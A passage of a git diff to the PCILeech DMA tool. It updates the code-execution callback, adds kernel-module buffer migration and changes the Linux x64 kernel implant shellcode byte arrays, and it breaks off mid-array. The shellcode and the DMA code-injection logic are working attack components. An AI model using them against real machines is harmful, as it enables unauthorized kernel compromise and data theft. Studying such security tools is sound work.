diff --git a/pcileech/executor.c b/pcileech/executor.c index 6c97893..4d533fb 100644 --- a/pcileech/executor.c +++ b/pcileech/executor.c @@ -1,6 +1,6 @@ // executor.c : implementation related 'code execution' and 'console redirect' functionality. // -// (c) Ulf Frisk, 2016-2022 +// (c) Ulf Frisk, 2016-2024 // Author: Ulf Frisk, pcileech@frizk.net // #include "executor.h" @@ -49,6 +49,8 @@ typedef struct tdEXEC_HANDLE { EXEC_IO os; } EXEC_HANDLE, *PEXEC_HANDLE; +static PPAGE_STATISTICS g_pExecPageStat = NULL; + // input buffer to targeted console (outgoing info) // read from this console and send to targeted console DWORD WINAPI ConsoleRedirect_ThreadConsoleInput(PCONSOLEREDIR_THREADDATA pd) @@ -140,7 +142,8 @@ VOID Exec_ConsoleRedirect(_In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD C pd->fTerminateThread = TRUE; } -VOID Exec_Callback(_Inout_ PHANDLE phCallback) +_Success_(return) +BOOL Exec_Callback(_Inout_ PHANDLE phCallback) { BOOL result; PEXEC_HANDLE ph = *phCallback; @@ -149,9 +152,9 @@ VOID Exec_Callback(_Inout_ PHANDLE phCallback) if(!*phCallback) { // core initialize ph = *phCallback = LocalAlloc(LMEM_ZEROINIT, sizeof(EXEC_HANDLE)); - if(!ph) { return; } + if(!ph) { return FALSE; } ph->pbDMA = LocalAlloc(LMEM_ZEROINIT, (SIZE_T)ctxMain->pk->dataOutExtraLengthMax); - if(!ph->pbDMA) { LocalFree(ph); *phCallback = NULL; return; } + if(!ph->pbDMA) { LocalFree(ph); *phCallback = NULL; return FALSE; } ph->is.magic = EXEC_IO_MAGIC; // open output file if(!fopen_s(&ph->pFileOutput, ctxMain->cfg.szFileOut, "r") || ph->pFileOutput) { @@ -159,22 +162,30 @@ VOID Exec_Callback(_Inout_ PHANDLE phCallback) fclose(ph->pFileOutput); } printf("EXEC: Failed. File already exists: %s\n", ctxMain->cfg.szFileOut); - return; + LocalFree(ph); *phCallback = NULL; + return FALSE; } if(fopen_s(&ph->pFileOutput, ctxMain->cfg.szFileOut, "wb") || !ph->pFileOutput) { ph->is.bin.fCompletedAck = TRUE; LcWrite(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, 0x1000, (PBYTE)&ph->is); ph->fError = TRUE; printf("EXEC: Failed writing large outut to file: %s\n", ctxMain->cfg.szFileOut); - return; + LocalFree(ph); *phCallback = NULL; + return FALSE; + } + printf("EXEC: Start writing large output to file: %s\n\n", ctxMain->cfg.szFileOut); + if(ctxMain->cfg.fVerbose) { + PageStatInitialize(&g_pExecPageStat, 0, 0x0000100000000000, "Downloading large file of unknown size ...", TRUE, FALSE); + g_pExecPageStat->File.qwBaseOffset = 0; + g_pExecPageStat->File.qwCurrentOffset = 0; + g_pExecPageStat->File.fFileRead = TRUE; } - printf("EXEC: Start writing large output to file: %s\n", ctxMain->cfg.szFileOut); } // write to output file and ack to buffer - if(ph->is.bin.fCompletedAck) { return; } + if(ph->is.bin.fCompletedAck) { return TRUE; } LcRead(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_OS, 0x1000, (PBYTE)&ph->os); - if(ph->os.magic != EXEC_IO_MAGIC) { return; } - if(ph->is.bin.seqAck >= ph->os.bin.seq) { return; } + if(ph->os.magic != EXEC_IO_MAGIC) { return TRUE; } + if(ph->is.bin.seqAck >= ph->os.bin.seq) { return TRUE; } cbLength = 0; result = DeviceReadDMA(ctxMain->pk->DMAAddrPhysical + ctxMain->pk->dataOutExtraOffset, (DWORD)SIZE_PAGE_ALIGN_4K(ctxMain->pk->dataOutExtraLength), ph->pbDMA, NULL) && @@ -185,11 +196,21 @@ VOID Exec_Callback(_Inout_ PHANDLE phCallback) ph->is.bin.fCompletedAck = ph->is.bin.fCompletedAck || ph->os.bin.fCompleted || !result; ph->is.bin.seqAck = ph->os.bin.seq; LcWrite(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical + EXEC_IO_DMAOFFSET_IS, 0x1000, (PBYTE)&ph->is); + if(g_pExecPageStat) { + g_pExecPageStat->File.qwCurrentOffset += cbLength >> 12; + PageStatUpdate(g_pExecPageStat, ph->qwFileWritten, cbLength >> 12, 0); + } + return TRUE; } VOID Exec_CallbackClose(_In_opt_ HANDLE hCallback) { PEXEC_HANDLE ph = hCallback; + if(g_pExecPageStat) { + PageStatClose(&g_pExecPageStat); + g_pExecPageStat = NULL; + Sleep(50); + } if(hCallback == NULL) { return; } if(ph->pFileOutput) { if(ph->fError) { @@ -294,13 +315,13 @@ VOID ActionExecShellcode() // [0x000000, 0x080000[ = shellcode // [0x080000 ] = (shellcode initiated com buffer for console and data transfer (input to implant) [IS]) // [0x081000 ] = (shellcode initiated com buffer for console and data transfer (output from implant) [OS]) - // [0x082000, X [ = data in (to target computer); X = max(0x100000, cb_in) + // [0x082000, X [ = data in (to target computer); X = max(0x040000, cb_in) // [X , buf_max [ = data out (from target computer) //------------------------------------------------ LcWrite(ctxMain->hLC, pk->DMAAddrPhysical + 0x080000, 0x2000, pbZeroPage2); pk->dataInExtraOffset = 0x082000; pk->dataInExtraLength = ctxMain->cfg.cbIn; - pk->dataInExtraLengthMax = max(0x100000, SIZE_PAGE_ALIGN_4K(ctxMain->cfg.cbIn)); + pk->dataInExtraLengthMax = max(0x040000, SIZE_PAGE_ALIGN_4K(ctxMain->cfg.cbIn)); pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax; pk->dataOutExtraLength = 0; pk->dataOutExtraLengthMax = pk->DMASizeBuffer - pk->dataOutExtraOffset; diff --git a/pcileech/executor.h b/pcileech/executor.h index 69544f1..5c3e1fd 100644 --- a/pcileech/executor.h +++ b/pcileech/executor.h @@ -22,8 +22,10 @@ VOID Exec_ConsoleRedirect(_In_ QWORD ConsoleBufferAddr_InputStream, _In_ QWORD C * This will allow the kernel executable code running on the target machine to * communicate interactively with this executable to deliver large files. * -- phCallback = ptr to handle; handle must be null on first entry. +* -- return = TRUE on success or partial failure, FALSE on fatal error. */ -VOID Exec_Callback(_Inout_ PHANDLE phCallback); +_Success_(return) +BOOL Exec_Callback(_Inout_ PHANDLE phCallback); /* * Close handle opened/used in Exec_Callback. diff --git a/pcileech/kmd.c b/pcileech/kmd.c index b1f4539..3467249 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -1,6 +1,6 @@ // kmd.c : implementation related to operating systems kernel modules functionality. // -// (c) Ulf Frisk, 2016-2022 +// (c) Ulf Frisk, 2016-2024 // Author: Ulf Frisk, pcileech@frizk.net // #include "kmd.h" @@ -1259,6 +1259,7 @@ _Success_(return) BOOL KMD_SubmitCommand(_In_ QWORD op) { DWORD cFailCount; + BOOL fResultCB = TRUE; HANDLE hCallback = NULL; ctxMain->pk->_op = op; if(!LcWrite(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData)) { @@ -1280,9 +1281,9 @@ BOOL KMD_SubmitCommand(_In_ QWORD op) ExitProcess(0); } if(ctxMain->pk->_op == KMD_CMD_EXEC_EXTENDED) { - Exec_Callback(&hCallback); + fResultCB = Exec_Callback(&hCallback); } - } while(((ctxMain->pk->_op != KMD_CMD_COMPLETED) || (ctxMain->pk->_status != 1)) && ctxMain->pk->_status < 0x0fffffff); + } while(((ctxMain->pk->_op != KMD_CMD_COMPLETED) || (ctxMain->pk->_status != 1)) && (ctxMain->pk->_status < 0x0fffffff) && fResultCB); if(hCallback) { Exec_CallbackClose(hCallback); } return TRUE; } @@ -1303,12 +1304,39 @@ VOID KMD_PhysicalMemoryMapDisplay(_In_ PKMDHANDLE phKMD) printf("----------------------------------------------\n"); } +VOID KMD_CheckMigrationStatus() +{ + DWORD i; + // check migration: + for(i = 0; i < 25; i++) { + LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData); + if(ctxMain->pk->MAGIC == KMDDATA_MAGIC) { break; } + Sleep(10); + } + if((ctxMain->pk->OperatingSystem >> 32) == 0xffffffff) { + // migration to new KMDDATA buffer: + ctxMain->phKMD->dwPageAddr32 = (DWORD)ctxMain->pk->OperatingSystem; + printf("INFO: PA KMD BASE (MIGRATED): 0x%08x\n", (DWORD)ctxMain->pk->OperatingSystem); + for(i = 0; i < 25; i++) { + LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData); + if(ctxMain->pk->MAGIC == KMDDATA_MAGIC) { break; } + Sleep(10); + } + } +} + _Success_(return) BOOL KMD_GetPhysicalMemoryMap() { QWORD qwMaxMemoryAddress; KMD_SubmitCommand(KMD_CMD_MEM_INFO); - if(!ctxMain->pk->_result || !ctxMain->pk->_size) { return FALSE; } + if(!ctxMain->pk->_result || !ctxMain->pk->_size) { + KMD_CheckMigrationStatus(); + KMD_SubmitCommand(KMD_CMD_MEM_INFO); + if(!ctxMain->pk->_result || !ctxMain->pk->_size) { + return FALSE; + } + } ctxMain->phKMD->pPhysicalMap = LocalAlloc(LMEM_ZEROINIT, (ctxMain->pk->_size + 0x1000) & 0xfffff000); if(!ctxMain->phKMD->pPhysicalMap) { return FALSE; } DeviceReadDMA(ctxMain->pk->DMAAddrPhysical, (DWORD)((ctxMain->pk->_size + 0x1000) & 0xfffff000), (PBYTE)ctxMain->phKMD->pPhysicalMap, NULL); diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c index e51199c..3e600db 100644 --- a/pcileech/pcileech.c +++ b/pcileech/pcileech.c @@ -1,6 +1,6 @@ // pcileech.c : implementation of core pcileech functionality. // -// (c) Ulf Frisk, 2016-2022 +// (c) Ulf Frisk, 2016-2024 // Author: Ulf Frisk, pcileech@frizk.net // #include "pcileech.h" @@ -346,6 +346,9 @@ int main(_In_ int argc, _In_ char* argv[]) PCILeechFreeContext(); return 0; } + // enable ctrl+c event handler if remote (to circumvent blocking thread) + PCILeechCtrlHandlerInitialize(); + // initialize device connection result = DeviceOpen(); if(!result) { printf("PCILEECH: Failed to connect to the device.\n"); @@ -373,8 +376,6 @@ int main(_In_ int argc, _In_ char* argv[]) if(ctxMain->cfg.paAddrMax == 0) { LcGetOption(ctxMain->hLC, LC_OPT_CORE_ADDR_MAX, &ctxMain->cfg.paAddrMax); } - // enable ctrl+c event handler if remote (to circumvent blocking thread) - PCILeechCtrlHandlerInitialize(); // main dispatcher switch(ctxMain->cfg.tpAction) { case NONE: diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index 952d2a4..0445b04 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -1,6 +1,6 @@ // shellcode.h : default shellcode used by pcileech in default scenarios. // -// (c) Ulf Frisk, 2016-2022 +// (c) Ulf Frisk, 2016-2024 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __SHELLCODE_H__ @@ -429,184 +429,257 @@ const BYTE LINUX_X64_STAGE2_BIN[] = { 0x41, 0x51, 0x0f, 0x20, 0xc1, 0x51, 0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x48, 0x8b, 0x15, 0xd2, 0xff, 0xff, 0xff, 0x48, 0x89, 0x10, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0xbe, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x33, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, - 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8d, 0x35, + 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x40, 0x4c, 0x8d, 0x35, 0x9c, 0xff, 0xff, 0xff, 0x8b, 0x05, 0xa6, 0xff, 0xff, 0xff, 0x4c, 0x03, 0xf0, 0xe8, 0x18, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x58, 0x0f, 0x22, - 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x16, 0x02, 0x00, - 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, 0x1b, 0x02, 0x00, 0x00, - 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x1e, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x14, - 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x0f, - 0x84, 0x05, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0x5c, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8, - 0x49, 0x8b, 0xfd, 0xe8, 0x28, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x49, 0x8b, 0xfc, 0xe8, 0x5c, - 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, 0x48, 0x83, 0xef, 0x08, 0x48, 0x8d, - 0x05, 0x57, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x38, 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, - 0x10, 0x00, 0x00, 0x48, 0x03, 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85, 0xff, 0x75, 0xdc, 0x48, 0x8d, - 0x3d, 0xb2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, - 0xb2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x9a, 0x00, 0x00, 0x00, - 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x01, 0x00, 0x00, - 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x3d, 0x46, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, - 0x74, 0x24, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48, - 0x33, 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0xa4, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, - 0x85, 0xc0, 0x74, 0x02, 0xeb, 0x2a, 0x48, 0x8d, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, - 0x48, 0x85, 0xc0, 0x74, 0x45, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, - 0x33, 0xf6, 0x48, 0x8d, 0x15, 0x78, 0x01, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x2a, - 0x49, 0x89, 0x44, 0x24, 0x58, 0x4d, 0x89, 0x74, 0x24, 0x10, 0x48, 0x8d, 0x3d, 0x32, 0x01, 0x00, - 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x49, 0x8b, 0x7c, 0x24, 0x58, 0xff, 0xd0, - 0x48, 0x85, 0xc0, 0x74, 0x05, 0x41, 0x8b, 0xc5, 0xeb, 0x05, 0xb8, 0xff, 0xff, 0xff, 0xff, 0x0f, - 0x20, 0xc1, 0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x89, 0x05, 0x23, 0xfe, 0xff, - 0xff, 0xc3, 0x48, 0x8d, 0x3d, 0x0a, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, - 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, - 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, 0xc7, 0xc3, 0x48, 0x8d, 0x3d, 0xf2, 0x00, - 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, - 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, - 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0x8b, 0xc7, 0xc3, 0x48, - 0x33, 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0xeb, 0x07, 0x6d, 0x73, - 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xf9, - 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00, 0xff, - 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, - 0xd4, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x00, - 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x5f, 0x6f, - 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, - 0x65, 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, - 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, - 0x79, 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, - 0x5f, 0x78, 0x00, 0x77, 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, 0x62, - 0x61, 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61, 0x73, 0x65, - 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00 + 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x25, 0x02, 0x00, + 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x75, 0x13, 0x48, 0x8d, 0x3d, 0x2a, 0x02, 0x00, 0x00, + 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x2d, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0xc4, + 0x0c, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x01, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x44, 0x24, + 0x30, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0f, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0x66, 0x01, + 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0x32, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe0, + 0x49, 0x8b, 0xfc, 0xe8, 0x66, 0x01, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, 0x48, + 0x83, 0xef, 0x08, 0x48, 0x8d, 0x05, 0x61, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x38, 0x49, 0x8b, + 0xf4, 0x48, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00, 0x48, 0x03, 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85, + 0xff, 0x75, 0xdc, 0x48, 0x8d, 0x3d, 0xbc, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, + 0x75, 0x13, 0x48, 0x8d, 0x3d, 0xbc, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, + 0x84, 0xa4, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, + 0xc7, 0xc6, 0x01, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x3d, 0x50, 0x01, 0x00, 0x00, 0x41, + 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x24, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, + 0x00, 0x48, 0x33, 0xf6, 0x48, 0x33, 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0xae, 0x01, + 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x74, 0x02, 0xeb, 0x2a, 0x48, 0x8d, 0x3d, 0x0e, 0x01, + 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x4f, 0x49, 0x8b, 0xfc, 0x48, 0x81, 0xc7, + 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48, 0x8d, 0x15, 0x82, 0x01, 0x00, 0x00, 0xff, 0xd0, + 0x48, 0x85, 0xc0, 0x74, 0x34, 0x49, 0x89, 0x44, 0x24, 0x58, 0x4d, 0x89, 0x74, 0x24, 0x10, 0x48, + 0x8b, 0x44, 0x24, 0x30, 0x49, 0x89, 0x44, 0x24, 0x60, 0x48, 0x8d, 0x3d, 0x32, 0x01, 0x00, 0x00, + 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x11, 0x49, 0x8b, 0x7c, 0x24, 0x58, 0xff, 0xd0, 0x48, + 0x85, 0xc0, 0x74, 0x05, 0x41, 0x8b, 0xc5, 0xeb, 0x05, 0xb8, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x20, + 0xc1, 0x81, 0xe1, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc1, 0x89, 0x05, 0x14, 0xfe, 0xff, 0xff, + 0xc3, 0x48, 0x8d, 0x3d, 0x0a, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x04, + 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0xc3, 0x57, + 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, 0xc7, 0xc3, 0x48, 0x8d, 0x3d, 0xf2, 0x00, 0x00, + 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdc, 0xff, 0xff, 0xff, 0x5f, 0x48, + 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, 0x8b, 0xc7, 0xc3, 0x48, 0x33, + 0xc0, 0xb9, 0x00, 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0xeb, 0x07, 0x6d, 0x73, 0x6c, + 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xf9, 0xef, + 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00, 0xff, 0xd0, + 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xd4, + 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x00, 0x6b, + 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x5f, 0x6f, 0x6e, + 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, + 0x73, 0x5f, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, + 0x70, 0x61, 0x67, 0x65, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x5f, 0x72, 0x6f, 0x78, 0x00, 0x73, 0x65, 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, + 0x78, 0x00, 0x77, 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, 0x62, 0x61, + 0x73, 0x65, 0x00, 0x76, 0x6d, 0x65, 0x6d, 0x6d, 0x61, 0x70, 0x5f, 0x62, 0x61, 0x73, 0x65, 0x00, + 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00 }; const BYTE LINUX_X64_STAGE3_BIN[] = { 0xeb, 0x07, 0x6d, 0x73, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xf9, 0xef, 0xff, 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, - 0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x8d, 0x0d, 0xc4, 0xef, 0xff, 0xff, 0x41, 0x57, 0x4c, 0x8b, - 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x86, 0x04, 0x00, 0x00, 0x49, 0x8b, - 0xe7, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, - 0x49, 0xc7, 0xc5, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x94, 0xff, 0xff, 0xff, 0x50, 0x48, - 0x8d, 0x05, 0xb8, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xef, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0xf4, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xf9, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0xf8, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0xf9, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0x1f, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x2d, 0x01, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0x2d, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x3d, 0x01, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0x25, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x41, 0x01, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0x4a, 0x01, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x64, 0x00, 0x00, 0x00, 0x50, 0x48, - 0x8d, 0x05, 0x6a, 0x00, 0x00, 0x00, 0x50, 0x48, 0x8d, 0x05, 0x71, 0x00, 0x00, 0x00, 0x50, 0x49, - 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x5a, 0xe8, 0x30, 0x01, 0x00, 0x00, 0x4b, 0x89, 0x04, 0x2e, - 0x4d, 0x85, 0xed, 0x75, 0xea, 0x49, 0x8b, 0x46, 0x48, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, 0x8b, - 0x46, 0x58, 0x49, 0x89, 0x46, 0x48, 0x49, 0x8b, 0x46, 0x08, 0x48, 0x85, 0xc0, 0x75, 0x08, 0x49, - 0x8b, 0x46, 0x68, 0x49, 0x89, 0x46, 0x08, 